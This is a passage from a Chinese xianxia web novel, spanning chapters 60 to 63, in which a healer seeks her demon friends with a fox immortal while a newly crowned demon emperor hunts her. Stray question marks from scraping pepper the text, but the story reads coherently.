蓝倾一掩住面?容,一双狐狸眼睛狭长?而灵动,道:“太阳从西边出来了?” 路一剑道:“蓝师兄,此事事关重?大?。现在鬼母封印没修复,现在又闹出了个魔头,还有一只鬼邪在外飘荡……”他立马住了嘴,意识到自?己泄露了什么,他也不敢再继续说了。 蓝倾眯了眯眼,道:“千霄宫果然又在骗人?。” 路一剑立马道:“求蓝师兄不要告诉别人?!” 蓝倾道:“要我不说可以,你得将事情的来龙去脉告诉我。是不是之前的大?妖没有收复回来?” 路一剑急得跟热锅上的蚂蚁,将求助的视线投向了云庭,却没曾想云庭一眼未看。他只得狂挠自?己的头发,道:“是。我只能告诉蓝师兄这么多?,多?的不能再说了。” 蓝倾道:“哼,我就知道会是这样。”他拍桌而起。 路一剑连忙拦住他,道:“蓝师兄,你说的不会告诉别人?!” 蓝倾狐狸耳朵一动,装傻充愣道:“我说过吗?” 路一剑都?快气哭了,道:“蓝师兄!” 说罢,他就要给蓝倾下跪。 蓝倾团扇一挥,道:“别来这套!” 云庭声音沉道:“一剑,过来。” 路一剑抬头一见,就看见云庭脸上布满阴云,眼瞳中错落着?血丝,他道:“大?师兄……我……” 云庭立马从床上下来,又摔一踉跄,路一剑赶紧接过他,道:“大?师兄,都?是我太笨。你赶快上床休息。师父也许过几?天?消了气,就会听大?师兄的劝。大?师兄你一定要养好身体啊!” 蓝倾看见这两难兄难弟,头就开始发疼。 他又坐回了桌前,道:“我发誓,不会说起此事。如有违此誓,叫我天?打五雷轰。” 路一剑露出感激的目光,道:“谢谢蓝师兄!” 他将云庭扶到床边坐好,又盖好了被子。 云庭道:“狐狸,我会亲自?证明你说的是错的。” 蓝倾满不在乎道:“随你的便。” 房间外,梅珊端着?汤药站在原地。 她?几?乎是努力平缓自?己的呼吸,尽量让人?看不出异样,直到状态恢复正常,她?才推门而进道:“大?师兄,该吃药了。” 60-70 第61章 第 61 章 皇宫之上, 有?乌云密布。黑压压的云里?带着闪电,雷鸣声震耳欲聋,却迟迟不见下雨。 赢破看着这?乌泱泱的一片人朝他下跪,这?般场景他该笑出声, 偏偏他笑不出来。 他道:“樊隆呢?孤掌管了朝廷, 他就窝在家中不出来, 是怕了孤?” 樊鸣听闻, 上前奏请, 道:“陛下,家父早已重病缠身,实在是有?心无力,臣替父亲向陛下请罪。” 赢破袖子一挥,樊隆整个人撞在了柱子上, 口吐鲜血,抱腹翻滚,疼痛难忍。 “孤要你开口说?话了?”赢破嘴角冷笑。 樊鸣匍匐在地?,道:“臣,有?罪。陛下息怒。” 看着樊鸣光速滑跪, 所有?大臣皆磕头跪拜, 道:“陛下息怒。” 赢破的目光流露出一股令人窒息的冷漠, 道:“宣令下去,明日孤要举行登基大典。” 南元国等了十七年, 终于迎来了登基大典。 皇都城中,禁卫军时刻警戒着,生怕有?人闹事。皇都百姓都想亲眼?见证新皇的风采, 往日鬼皇帝的童谣流传太深,这?几日又传出新的言论, 说?新皇得先皇庇佑,乃神仙后?裔,将?会福泽整个南元国。 虽然根深蒂固的印象扭转得极难,但百姓对?这?位新皇不可谓不好奇。 哪怕看不见新皇的模样,城门禁军守地?范围外?也围满了人群。在人群之中还有?人卖防身符,说?是可以抵挡各种邪魔歪道,一时之间生意火旺得不得了。 皇室祭天之处,祖祠与神祠挨着。此处宫人和?大臣千万,赢破正踩在红布之上,披龙袍戴龙冠,面容庄严,手持一把玉笏板。大典繁文缛节众多,但他眉眼?丝毫不见不耐烦,一举一动都做得板正至极,挑不出来一丝错误。 “吾皇万岁万岁万万岁。” 众臣跪拜。 赢破坐上了那把黄金龙椅,抚摸着龙头,道:“自今日起?改年号为元光十六年,帝号凌恒魔君。全?军上下,捉拿孟芷回宫。” 一位大臣道:“这?……陛下。” 赢破道:“你有?什么异议?” 他指尖燃起?魔气,夹杂着丝丝爆裂的雷电。 樊隆在他人的搀扶下恭敬地?弯下腰,道:“一切都如陛下所愿。” 赢破一指他,魔气朝他涌去,将?他四肢都捆束在半空中。 樊鸣见状,跪地?拖行,道:“陛下息怒!” 赢破一步一步从龙位上走了下来,拎起?他的领口,道:“孤早已决定,孤登基之日,就是你们樊家血溅之时。” 樊鸣道:“陛下盛怒,臣知陛下心中有?怒气,但今日登基之日,朝堂见血,怕是不吉利。请陛下容许我戴罪立功,臣已经查探到孟芷的下落,陛下难道就不想知道孟芷去了哪里?吗?” 赢破道:“她在哪儿?” 樊鸣道:“她去了修仙界。陛下知道修仙界是仙人福地?,臣等凡人就算想去,也有?心无力,还望陛下三思。倘若今日就杀了臣,恐怕朝廷不稳,民心动乱。” 赢破将?他的领口捏紧,道:“你是在威胁孤?” 樊鸣道:“臣不敢,如今国师已亡,但樊府中还供养着数位仙师,他们定有?法子将?孟芷带回来。” 赢破目光从他的脸上逐渐下落,一瞬捏紧了他的脖子,“孤怎么知道你说?的是真是假?” 樊鸣脖颈青筋暴起?,道:“给?臣、三日时间,如果不能带回孟芷,就请陛下赐罪。” 赢破将?他丢了出去,道:“一日,孤只给?你们一天的时间,见不到孟芷,你们樊家全?部殉葬吧。” 他收回魔气,樊鸣立马上前搀住了老态龙钟的樊隆。 “你们还有?什么异议?” 群臣沉默。 赢破道:“退朝吧。” 钱喜高喊道:“恭请陛下回殿。” 赢破迈着大步,所有?人皆为他让路。他身带冕冠,一身玄色龙袍,腰间的桂花纹香囊随身而动,如今的他,无人敢忤逆。 孟枝枝连夜奔走,终于来到了一片平原之地?。 她跪到溪水边缘,将?头倾了下去,大口大口喝水。 她用袖子一擦,看着这?无边无际的平原,数只野兔抬起?双腿四处查探猎敌,小鹿弯下优美的曲颈吃草。 她起?身抱拳道:“孟芷在此,特地?拜见狐仙前辈。” 她所来之地?正是蓝倾所居住的地?方——定风坡。 她是为小桃仙和?冥漆而来,她知道她如果要找师父,现在应该去千霄宫,但是千霄宫难进,万一碰上云庭说?不清楚,被?群起?攻之,得不到师父的线索不说?,还舍去了自己。她同时也十分担心着小桃仙和?冥漆,思来想去,蓝倾带走了小桃仙和?冥漆,依照她两世?对?他的听闻,她知道他是个护短的,可能救得回小桃仙和?冥漆,她便下定决心,先来此地?。 她不由地?大声道:“我来此地?就是为了寻小桃仙和?冥漆,我知道前辈将?他们二妖带走,还请前辈开恩,让我见一见他们!” “你竟然敢找来这里。” 她仰头一看,就见蓝倾坐在树上,双脚荡漾在半空中,狐狸耳朵竖起?。 孟枝枝道:“我知道对前辈多有打扰,但我心系小桃仙和?冥漆的安危,还请前辈恕罪。” 她跪在了地?上,郑重地磕了一个头。 蓝倾道:“我听闻你肚子里?怀了那小皇帝的孩子。” 孟枝枝道:“假的,我和?他什么关系都没有?。”她表情风轻云淡。 她周围顿时燃起?了蓝色火焰,那火焰灼烧得她身体发疼。 蓝倾道:“你的确没有?怀孩子,但你身上流有?邪魔的血。” 孟枝枝道:“是他的血。” “他?” 孟枝枝苍白的双唇微张开:“赢破。” 蓝倾道:“你不惜背叛他,也要来见小桃仙他们?” 孟枝枝睁着那双如水的秋瞳,道:“说?背叛谈不上,我只是后?悔了,后?悔曾经想要帮他出了皇宫这?座牢笼。你想要问什么,我都可以告诉你,但小桃仙和?冥漆现在是不是还安好,请你告诉我一个答案。” 蓝倾跳身离去,独留蓝色火焰圈里?的孟枝枝。 “我定风坡一向不喜欢人类到来,而你身上又与邪魔有?关系,犯了我两个忌讳。我不会告诉你,如果你执意要留下,就受这?狐火焚烧之苦吧。” 孟枝枝全?身被?汗水打湿,她感?觉空气稀薄,以丹田运气,让自己支持得更久一些。她既然已经来到,便不会轻易退缩。 从早到晚,斗转星移,孟枝枝精神恍惚,她道:“小桃仙!冥漆!” 她晕倒在地?。 蓝倾落地?而下,将?那蓝色火焰浇灭,看着晕倒的孟枝枝,她双唇干得起?皮,一双湿透的脸颊,样子狼狈。 这?一幕让他陡然想起?了那个人。 “蓝倾,这?世?上的人类不全?是坏的。” 地?面上倒映着他的影子,风吹过,他头上的金蝶发钗在颤动。 孟枝枝猛地?睁开眼?,她一眼?就看见一颗奇特的大树,郁郁葱葱,身上还有?藤曼缠绕。 “枝枝,你醒了!” 孟枝枝转头一看,就见冥漆正坐在她身旁。 她顿时忘却一切,上前一把紧紧抱住冥漆,“冥漆,你真的还活着?!” 冥漆也紧紧抱着好朋友,道:“是我在做梦吗?你也好好的!” 孟枝枝热泪盈眶,道:“我好着呢,我以为我这?辈子再也见不到你了,太好了,真的太好了。如果你不在了,我会恨自己一辈子。” 冥漆道:“这?怎么能怪枝枝?不要怪自己,这?是我自己选的路,我很好,都是蓝倾大人救了我,他是个好人。” 孟枝枝顿时想起?了蓝倾,就见蓝倾坐在大树枝头上,手里?拿着酒壶饮了一口。 孟枝枝起?身对?蓝倾抱拳道:“多谢狐仙前辈做的一切。” 蓝倾道:“这?天下的妖皆归我管,我做的天经地?义。再说?也不是我想让你见他们,是冥漆他自己跑出来的。” 他躺在大树上,白色的狐狸尾巴垂落了下来。 冥漆连忙拉住孟枝枝,道:“这?段时间发生了什么?” 孟枝枝细细对?他讲起?了自己的遭遇。她是怎么看见赢破入魔,封印鬼母,她又怎么从隐世?知道了师父的线索,怎么从赢破手底下逃脱开。 冥漆道:“那千年仙誓竟然威力这?么强大,都怪我和?小桃仙当初将?你送到那个鬼皇帝身边,谁知道他入了魔,现在反而害惨了你。” 孟枝枝摸着脖子上的那颗璧水珠,它现在化成了一颗普通珠子,无论她怎么召唤里?面的水夜叉,它都不出来,就像装死一般。 她道:“当日情况危机,也是我没告诉你和?小桃仙太多关于赢破的事,怪不到你们头上。只是我现在担忧,他入了魔之后?,怕是会对?修仙界造成威胁。狐仙前辈,还希望你们早做准备。” 蓝倾狐狸耳朵一动,从树上翩然跳下来。 他上下打量着孟枝枝,道:“你似乎知道不少事。” 二人四目相对?,孟枝枝感?觉他好像看出了点什么。 冥漆这?时道:“蓝倾大人,可否让枝枝住下,如今她无处可去。冥漆斗胆,恳求蓝倾大人,再帮帮我们。” 蓝倾道:“帮你们是自然,但我为什么要帮一个和?邪魔有?染的人类?” 冥漆道:“枝枝她和?那鬼皇帝没有?任何关系!” 蓝倾手中的扇子一挥,将?冥漆挥远了,道:“聒噪什么,今日的柴你砍了吗?” 冥漆从地?上爬起?来,道:“还没有?,但是蓝倾大人,枝枝她心地?善良,求狐仙大人相助。” 孟枝枝道:“冥漆,你先离开,我有?事情和?狐仙前辈说?。” “枝枝!” 孟枝枝冲他莞尔一笑,道:“去吧,我不会有?什么事的。” 冥漆垂头丧气,道:“我过会儿再来看你。” 他一步三回头地?看着他们。 直到再也看不见冥漆,孟枝枝道:“我知道狐仙前辈对?我多有?怀疑,我说?的话在狐仙前辈看来很没有?信服力,但我从头到尾没有?想过麻烦狐仙前辈,我只要知道冥漆和?小桃仙安好就行了。还希望狐仙前辈多多照拂他们二人,枝枝再次跪谢。” 说?罢,她跪在了地?上,磕了一个头。 她起?了身,准备离开。 “慢着,你现在是想去千霄宫?” 第62章 第 62 章 蓝倾刚刚将他们?二人的话都?听进了?耳里, 知晓孟枝枝一路都?在?寻找她的师父。 孟枝枝道:“是。如今所有的线索都?指向我师父与千霄宫的人有关,千霄宫,我必须去一趟。” 蓝倾道:“你可知道无真是何人?” 孟枝枝道:“难道狐仙前辈知道?” 蓝倾背身过去,道:“知道一点, 但我不会告诉你。” 孟枝枝道:“无妨, 狐仙前辈已经做得足够多?。接下来?的路, 我一个人也能走下去。” 她刚迈出步伐, 腰部被一只硕大的狐狸尾巴圈住, 动弹不得。 “可我还有很多?疑惑,就比如你好像知道那人界小皇帝会入魔,还知道以后会发生?的事,你身上究竟藏着?什么秘密?” 他尾巴一扫,树上的藤曼缠绕, 将她困在?那大树上。 孟枝枝道:“都?说狐仙前辈从不搭理人界之事,除了?对妖,对他人甚是无情,但我看来?并非如此。我虽然是一介散修,但我亦不想生?灵涂炭, 前辈怀疑我, 是因为我曾经帮助过赢破。我从神农之道, 只知治病救人,在?事情尚未发生?之时, 就要?决定他人生?死,我办不到。” 她捏决,祭出那柄白玉如意, 身上的藤曼接触到白光的一瞬,就撤开?了?。 孟枝枝道:“我还有重要?的事要?做, 还请前辈不要?拦着?我。” 蓝倾看着?那柄白玉如意,道:“慢着?!你不是想去千霄宫打探你师父的下落?我帮你。” 孟枝枝不解。 那柄白玉如意散发着?柔和的光,蓝倾的眸中?倒映着?那光。 “小桃仙昏迷不醒,你难道不想去看看她?” 孟枝枝神色一变,道:“怎么回事?” 蓝倾道:“如果想知道,就跟我来?。” 孟枝枝不再犹豫,将白玉如意收了?回去。 两个人来?到了?一处秘境,这里是个天然的洞窟,里面有暗河,有茂盛的绿植,在?绿植中?间有一株百年古树。古树苍老,只保留了?根和树干部分,树枝部分却已经没有再开?出新芽,而在?树干中?央有一块缺陷,里面正昏睡着?一道身影。 那是小桃仙! 孟枝枝凑近,看到一道棕色薄膜隔着?彼此,里面小桃仙双手叠放在?胸前,像是环抱自己,眼?睛闭着?,像是睡着?了?一样?。 蓝倾道:“小桃仙受了?重伤,靠这百年古树的生?机维持住了?性命,但那魔气在?她体内呆太久了?,这才昏迷不醒。” 孟枝枝仔细观察着?小桃仙,她将手指靠近那薄膜之上,将灵力?灌输了?进去。 她发现灵力?只进不出,感受不到小桃仙一点互动。 她道:“是魔气是天仙子的魔气,食用过腐肉的天仙子花朵,邪气深重,会侵蚀人的五脏六腑,将种子置入进去。多?亏前辈将小桃仙体内的种子清除干净,小桃仙的身体在?治愈,但很慢。” 她心知小桃仙的致命伤除了?天仙子,还有云庭的那一剑。小桃仙元气大伤,妖丹被侵蚀,变成了?幼态,这才没办法自行治愈那剑伤。 她不疑虑,盘腿而坐,将源源不断的灵力?输送了?进去。 她在?滋养小桃仙的妖丹。 自从上次从死门关回来?,她就知道自己的修为大大增进,现在?用她的灵力?去滋养妖丹是最好的良药。 蓝倾见她不要?命地往外输送灵力?,用尾巴一挥,打断了?她的施法。 “今日足够了?。” 孟枝枝抚着?胸口,微微喘气。 蓝倾道:“你就在?定风坡住下。你的师父和千霄宫的无真有关系,此事我会查明,在?那之前好好保住你的小命。我回来?之前,你别死了?。” 他身影骤然消失在?洞穴之中?。 孟枝枝心中?感激。 她偏过头,看着?沉睡的小桃仙。 耳边似乎听到了?小桃仙的声音,“枝枝,我不想一个人,一个人好孤单啊。” 孟枝枝道:“小桃仙,是我连累了?你。我不会让你一个人,我一定会救下你。” 她靠在?树干上睡着?了?。 百年古树散发出淡淡的蓝色,落到她的身上。 一声清脆的山歌声响彻山谷。 一个背着?背篓的少女,踏着?山路,唱着?山歌,四周都?是和她穿着?相似的族人。队伍虽小,五脏俱全,游牧一族中?的兰氏部落跋山涉水带着?他们?的羊群在?寻找新的住址。 “小希,别惊扰了?山神大人。” 小希就是那个背着背篓唱山歌的姑娘,她抱着?小山羊渡过了?小溪。 小希回头道:“奶奶,山神大人不会这么小气的,我这是在?唱歌送给山神大人当礼物呢!”她所到之处,一只黄色的小牧羊狗跟在她身后,看上去只有三个月大,它汪汪两声,鸟雀一哄而散,迅捷地飞到了?树上,偷偷观察着这群陌生人。 小希埋怨道:“坏汪汪,你看你把小鸟都吓跑了!” 汪汪委屈地趴在?地上,轻轻地呜呜两声。 伸婆拄着?拐杖,头疼道:“真是个不省心的丫头。” 族长搀扶着?伸婆,道:“祭祀大人,就随小希去吧,孩子还没见过这么茂密的山丘,心里好奇呢!” 伸婆身为族里的祭司,同样?是个巫者,掌管着?族人搬迁、狩猎、宰杀、婚嫁、祭祀等大事,这次搬迁皆由和一个世仇部落产生?冲突,他们?部落惨败,失去领土,不得不寻找新家园。靠她占卜之后,整个兰氏才来?到此地。 她忧心忡忡道:“希望山神大人能够接纳我们?。今晚就要?开?启祭祀。” 族长道:“放心吧,巫者大人,一切都?准备好了?。” 到了?夜晚时分,兰氏部落开?始杀羊放血,栽种树木。他们?将搬来?的树苗载进土里,在?树干上系上了?五颜六色的布条,又将羊血倒进一个个木碗里,摆放在?树下面。又在?旁边点燃篝火,族里的年轻人穿着?彩带绘制的舞衣围着?篝火开?始跳起巫舞。伸婆嘴里念念有词,每念完一段,就将树下木碗里的羊血一个一个倒出来?。 小希趴在?石头上看着?,汪汪围在?她身边打转。 她圈住汪汪的头道:“别乱动,这是在?祭祀山羊给山神大人呢。” 汪汪委屈,嘴里流下口水,小希看见不远处族人正在?将山羊肉剥皮,穿插准备做烤羊肉。汪汪一定是看见羊肉了?。 她笑了?,道:“小馋狗,等会儿我喂你山羊奶。” 祭祀的巫舞要?跳整整一晚上,族人们?将宰好的山羊置于篝火上,不一会儿,喷香的羊肉味溢满在?空气中?,小希也不免吞了?吞口水。 山羊是他们?兰氏部落最重要?的财富,为了?保护羊群不被狼吃,族人们?每天都?有人看守羊圈。因为今天是祭祀大礼,所有年轻人都?被要?求参加典礼,说是要?与山神大人见见面,只留了?一个老翁暂时看守着?羊圈。 守羊圈的老翁打起了?盹,小希一个翻身就滚进了?羊圈里,引起了?小小的骚动。小希连忙嘘声,道:“小羊们?,是我,安静。” 羊群很快安静下来?,她看了?一眼?老翁,发现老翁没有被吵醒,舒了?口气。汪汪也顶着?屁股,从栅栏缝里挤过来?一个狗头,拿出吃奶的力?气,将自己挤进来?。 小希对着?一只母羊恳求道:“小白,拜托,借点奶给我好吗?千万不要?踢我啊。”她跪在?地上,试探着?拿起母羊的奶棒,母羊没有排斥。 她欣喜地压低声音道:“汪汪,快来?喝奶。” 三个月大的小牧羊犬尾巴摇得要?飞起来?似的,舌头飞快地舞动着?,砸吧砸吧吃得很香。母羊奶水充足,滴落到地面上。 小希埋怨道:“小笨狗,你不要?浪费呀。” 这时候,汪汪却向一处呲牙咧嘴,发出呜呜的低吼声,仿佛那里存在?什么威胁。 小希也跟着?警惕起来?,她慢慢爬,深入到羊群之中?,一只沉睡的白色小狐狸被众羊包围着?。 小希惊呼,哪里来?的狐狸?羊儿们?竟然没有发出响动。 她端详着?那只小狐狸,眼?里流露出好奇的目光。响动也惊醒了?白狐狸,它睁开?眼?与小希四目相对,它眼?睛周围像画了?浓浓的眼?线,眼?眸冷而淡。 它战起身来?,一个跳跃,白色发光的毛发和天上的圆月重叠,小希看呆了?。 直到汪汪舔她的掌心,小希才回过神来?,她心道,糟糕,该赶回典礼去,不然就被奶奶发现了?。 她小心翻出羊圈,一路奔跑,篝火处,族人积聚在?一起唱着?歌,没有人发现她的暂时离开?。 她蹑手蹑脚地找一处草丛坐着?,刚一坐下,就听见拐杖声近了?。 伸婆道:“小希。” 小希立马站起身扶住了?伸婆,“奶奶,您怎么知道我在?这里。” 伸婆的眼?睛是白色的,她穿着?一身布衣,盖着?兽皮外套,脖子上挂着?野猪牙齿制成的项链,耳朵上也挂着?大大的牙饰。 伸婆看不见,她露出微笑,道:“奶奶眼?盲,但心可不盲。跟奶奶一块走走。” 小希扶着?她,两个人站在?坡上,看族人依靠着?大树零零散散建立起了?草房子,遍地都?是。 伸婆道:“我们?所拥有的一切都?是山神赐予的,小希,要?心怀感恩。” 小希道:“知道啦,奶奶您已经说过很多?很多?遍了?。如果没有山神大人,我们?就没有栖息之地,也没有粮食,更不可能繁衍生?命,可是奶奶,山神大人他会保佑我们?不再发生?战争吗?上一次羌族来?犯,我们?失去了?好多?羊,鲁鲁、巴巴、鱼肥、花朵……它们?都?是我接生?的小羊,我不想再有小羊被抢走了?。”她抱着?伸婆,眼?泪婆娑。 伸婆抚摸着?她的头,道:“看见灵树了?吗?” 小希看着?那颗族人种下的树苗。灵树还很瘦小,一个少年就能将它轻易抬起。她想起奶奶给她讲过,灵树是他们?兰族的生?命之树,承载着?兰族的命运。他们?兰族漂泊已久,无法找到一个永远的栖息之地,灵树也和他们?一样?,更换了?无数的地方。 伸婆道:“逝去之物不可挽回,但灵树都?会为我们?记住。” 第63章 第 63 章 夜晚降临, 灵树散发着蓝色的?光点,就好像一只只蓝色萤火虫围着它转一般,族人们开始围着灵树祈祷。 伸婆拉着小希,也往灵树走去。她们跪在灵树之下, 小希闭着眼, 耳边是?族人们的?低语。 孟枝枝睁开了眼, 她还呆在那山洞中, 旁边是?沉睡的?小桃仙。鸟雀在树上?叽叽喳喳。 她又做梦了吗? 她想?起梦中的?游牧一族, 还有?那个叫小希的?女孩子,还有?那只白色狐狸。一切真实得好像发生?过,她怎么会做这样一个梦? 鸟雀跳到她头?上?,啄起她的?头?发。 好疼。 孟枝枝坐了起来,将头?上?的?鸟雀驱散。 她看向那古树, 心中十分怀疑。 她看见的?也许不是?梦,而是?古树的?记忆? 人界,樊府。 一斗篷人正在庭中炼丹。那炼丹炉吞吐着浊气。 樊隆府邸里有?道士也并不让人觉得意外。 那斗篷人将炼丹炉中的?丹药取了出来,收拢进一个瓶子里,又将瓶子放在托盘之上?, 端进了樊隆的?房间里。 “啊!”一阵惨痛的?呻吟声传来。 只听那叫声愈发惨烈, 里面不断有?东西?被砸碎的?声音。 樊隆虚弱的?声音传来, 道:“把他叫来。” 斗篷人道:“是?。” 还未等斗篷人出来,就见樊鸣已经走了进来道:“父亲, 不必叫人唤我。我已经来了。”他顺带把门关上?。 樊鸣道:“父亲的?病如何了?” 樊隆冷笑?道:“依旧是?老样子。赢破那小儿想?要威胁我们,真是?初生?牛犊不怕虎!” 樊鸣道:“现下凌恒魔君的?名声已经传扬出去,相信不日就会有?妖邪聚集皇都。父亲怎么看?” 樊隆道:“还没找到孟芷?” 樊鸣道:“我已经向仙界发了消息, 还没有?回应。” 樊隆道:“他们这是?想?不管了。” 樊鸣道:“父亲,仙界之人本来就不可?靠, 况且那千年仙誓……孩儿心想?,那孟芷或许压根就没怀孕。陛下不过是?发疯,接受不了孟芷弃他而去。” 樊隆道:“那不妨让这水更混一些。告诉他,孟芷被仙门之人抓了。” 樊鸣道:“孩儿明白了。” 那屏风之中,气氛凝重。 樊隆道:“这些日我要闭关。朝堂之事,你紧盯着。” 樊鸣道:“是?。” 樊隆道:“还记得你当?初承诺过我的?事吗?” 樊鸣道:“孩儿不敢忘。” 樊隆道:“樊家上?下一荣俱荣,一损俱损。退下吧,近日不要让任何人来烦我。” 樊鸣道:“是?。” 他退了出去,将门轻轻合上?。 皇宫中,赢破坐在龙椅上?,眉头?紧皱着,他捂着胸口,胸腔里时不时传来蚂蚁啃咬疼痒的?感受。 “孤这是?怎么了?” 钱喜道:“陛下,您是?在长一颗心。” “心?孤不需要这东西?。”赢破将五指插入胸膛之中,将那跳动的?心脏挖了出来。 “不可?,陛下。魔天生?无心,而陛下此番异常,挖去它还会再长。” “难道要孤日日受这灼心之苦?”赢破的?眼眸爆出血红。有?了这颗心,一种如大?海般无边无尽的?窒息感朝他扑面而来。 钱喜道:“陛下,你可?知这心为何会长出来?” 赢破道:“不管它为何会长出来,有?了它,孤就有?了弱点。魇灵,你说,那些人在背地里是?不是?都在想?怎么让孤死?” 原来附身在钱喜身上?的?邪魔名唤魇灵。 魇灵道:“陛下放心,如今您魔力?高深,就算仙界之人来,也要掂量三分。” 赢破冷哼一声,道:“仙界之人,若是?来了正好,孤早就想?杀了他们。” 魇灵跪在地上?,道:“十七年前我鬼邪一族四散而逃,都拜仙界之人所赐。而我被关在千霄宫中整整十七年,现在就靠陛下一呼群雄,还我鬼邪繁荣。” 赢破捏着那颗跳动的?心脏,眼中有?嗜血的?光芒,道:“将人界变成鬼族的?领地吗?有?意思?。” 此时,隐世也正闹着风波。 两个戴着面具的?人在一角拉拉扯扯。 “大?师兄,我们回去吧!万一师父发现了……” 云庭转头?,将手?指竖在唇中央。 路一剑立马住了嘴。 旁边几个散修用疑惑的?目光看着他们,又很快撤离了目光。 路一剑压低了嗓音,道:“大?师兄,你的?伤还没有?好,师父虽然去了百花峰,但很快就会回来了。再说那魔头?回了皇都多日,魔功说不定?比之前更胜一筹。大?师兄,你就听我一句劝,咱们回去,从长计议!” 云庭声音冷峻道:“路师弟,要是?你想?回去,就自己一个人回去。” 路一剑道:“这怎么能行啊,大?师兄。我怎么可?能放任你去送死!”他惊觉自己说错了话,立马闭上?了嘴。 云庭深呼吸一口气,胸口缓缓下去,语气低沉道:“你修行多年,应当?知道魔是?一种什么样的?生?物。十七年前,魔花天仙子之灾,死了多少百姓,又死了多少仙门弟子!现在天仙子和魔重回人间,不早点斩草除根,难道还要再重现十七年前的?灾难?” 路一剑道:“可?是?……师父他们。” 云庭用手?制止了他,道:“师父他们有?他们的?考量,但我等不下去了。” 他侧着脸看路一剑。透着那张面具,路一剑似乎能看见他那双泛红的?眼睛。 云庭道:“你知道人死了之后流出的?血温吗?” 路一剑愣住,他想?起云庭的?来历,他听闻云庭的家人葬身在妖邪之口,云庭亲眼目睹了家人的?死状。 “是?温热的?。” 云庭再也说不下去,撇回头?,拔腿就走。 路一剑回过神,立马追了上?去。 隐世里有?成千上?万家摊主?摆摊,店旗在风中飘动,许多摊前聚集着讨价还价的?人,人声鼎沸,然而百宝店大?门却紧闭着,看上?去像无人问津的?样子。 云庭拍了拍百宝店的?大?门。 不一会儿,门开了,从里面冒出一颗头?。 “现在不做生?意,打烊了,别再敲了。”说罢,就要关上?大?门。 云庭将剑伸了进去,卡住了关闭的?门缝。 “你是?谁?想?在这里惹事?” 云庭拿出一枚精美的?令牌,上?面写着“千霄宫”三个字,那字体鎏金豪华。 那人有?点慌乱,四处看了看,小声道:“这位道友,掌柜的?现在不在店内,你看要不改日再来?” 云庭道:“事急从权,叫他来,我在这里等他。” 他掀摆盘腿坐在了百宝店前。 那人慌了神,道:“欸!你别在门口呆着,进来,进来。” 那门缝开大?了些。 云庭起身,进了店里。就在那大?门即将关上?之际,又是?一剑柄插了进来。 “你又是?谁?!” 路一剑气喘吁吁道:“我,跟他一路的?。不好意思?,借过。” 路一剑挤着门缝进来,缀在云庭身后,就像个小尾巴一样。 水火作为散修是?真的?恼了,这一个两个仙门弟子怎么这么不讲规矩。 水火道:“你们到底是?谁?掌柜的?真的?不在店里。” 云庭道:“他去哪儿了?” “我不知道。”水火又补了一嘴,“也不知道掌柜的?多久才回来。你们要等就等吧,我要去补觉了。” 他转身就要走。 云庭一剑拦在他跟前,道:“之前向千霄宫传信的?人是?你们?” 水火道:“不是?。” 路一剑接话道:“怎么不是?你们?我是?接头?人,这信尾上?都还落着你们百宝店的?印呢!”他掏出其中一封信,展示了出来。 水火看清楚那印,半信半疑道:“你们真是?千霄宫来的??” 云庭道:“正是?。” 水火将他的?剑一抬,坐在了长板凳上?,一脚踩在凳头?上?,自己给自己倒上?了茶水,喝了一口,道:“既然你们都已经收到了消息,那说明交易已经完结,又跑来我们这里干嘛?” 云庭道:“我要知道更多关于人界皇帝还有?那个医修的?事。” 水火道:“我们知道的?都写在这张纸上?了。难道你没看过?” 云庭道:“你们知道更多事。” 不知道这小子怎么这般笃定?,水火心里也火大?了起来,道:“报酬一结就意味着交易完毕。我们百宝店和人做生?意一贯如此,你想?套消息,除非你再发起一趟交易。不过现在掌柜的?不在,我做不了这个主?,你们还是?请回吧。” 云庭道:“他为何不在?” 水火摇头?晃脑道:“不知道。” “你这人故意的?吧?”路一剑气得想?上?前理论?,被云庭拦住。 云庭对水火抱拳,又掏出一枚传信用的?符纸,道:“如果?赵仙人回来,还劳烦告知我一声。” 水火敷衍地点了下头?。 云庭带着路一剑就此告别。 路一剑道:“大?师兄,我觉得那个人揣着明白装糊涂!这些散修仗着做买卖,气势就嚣张至极,真是?可?恨!” 云庭思?绪在别处,道:“一剑,之前赵仙人送来的?信给我看看。” 路一剑心里慌张道:“大?师兄,这是?师父的?信,旁人看不得。” 云庭轻瞥他,道:“不如你回去?” 路一剑一副视死如归的?表情,“看吧看吧,反正师父也不知道。” 他将信全给了云庭。 云庭翻开着那些信件,一目十行地看了下来。 他看完之后,问道:“你可?知道上?面写了什么?” 路一剑立马表示清白道:“我一点没有?偷看,我这儿只有?这封还没来得及交给师父,其他的?都在师父那里。” 云庭一脸忧心忡忡。 路一剑完全被勾起了好奇心,头?伸前道:“上?面写了什么?” 云庭目光向他瞥来。 路一剑道:“好师兄,你就告诉我吧!我认错,刚刚就应该跟你同流合污,不是?,同舟共济。” 云庭将信递回给了他,道:“孟枝枝想?要带赢破出皇都。” “什么?她成功了吗?” “没有?。她弃了那皇帝,逃了出去。” 路一剑想?起那个始终守在人界皇帝前的?女子,不由叹道:“造化弄人。” 云庭陡然朝他道:“她是?愚蠢!为了一个魔,瞎了一双眼,差点连命都不要!错了就是?错了,那些丧命于魔手?的?百姓们可?没有?她那么好运,有?再来一次的?机会。” 路一剑哑声。 云庭闭眼平复了一下心情,再次睁眼便道:“走吧。” 路一剑道:“我们接下来去哪儿,师兄?” 云庭道:“去皇都。” 他们离去不久,百宝店的?大?门又被人敲响。 水火不耐道:“怎么又来人?打烊了,掌柜的?不在。” 门外的?声音默了一秒,随后一道蓝色火焰划了进来,跟长了眼睛似的?,直接烧到了水火的?脚下。 水火连忙跳脚,还不忘捏决打开了门。 他跪地求饶,道:“狐仙大?人,什么风把您吹来了?小的?有?眼不识泰山,不知道是?您来了,求您恕罪啊。” 蓝倾一踏进大?门,大?门就关上?了。 这里有?人下了秘术,大?门只能从里面开,人一进,大?门就会自动合上?。 蓝倾嫌恶地看了一下四周,这里到处摆了财神爷的?神像,香炉到处飞灰。 俗,俗不可?耐。 他道:“我找人。你们掌柜的?多久回来?” 水火笑?嘻嘻道:“原来是?这等事,烦您等等,等我给掌柜的?传个信。” 水火从袖下掏出一面镜子,对着镜子捏决,大?喊道:“掌柜的?,狐仙大?人来了,您快些回来。” 他余光瞟见蓝倾在看他,不由呵呵笑?道:“掌柜的?有?事出了趟远门,等回来估摸还要有?一阵。” 蓝倾道:“哦,他去干嘛了?” 水火道:“大?人,能先?劳烦收收火吗?”那蓝色火焰还在地上?烧着,烧得人身上?生?疼。 蓝倾将火焰一瞬熄灭了,道:“说吧。” 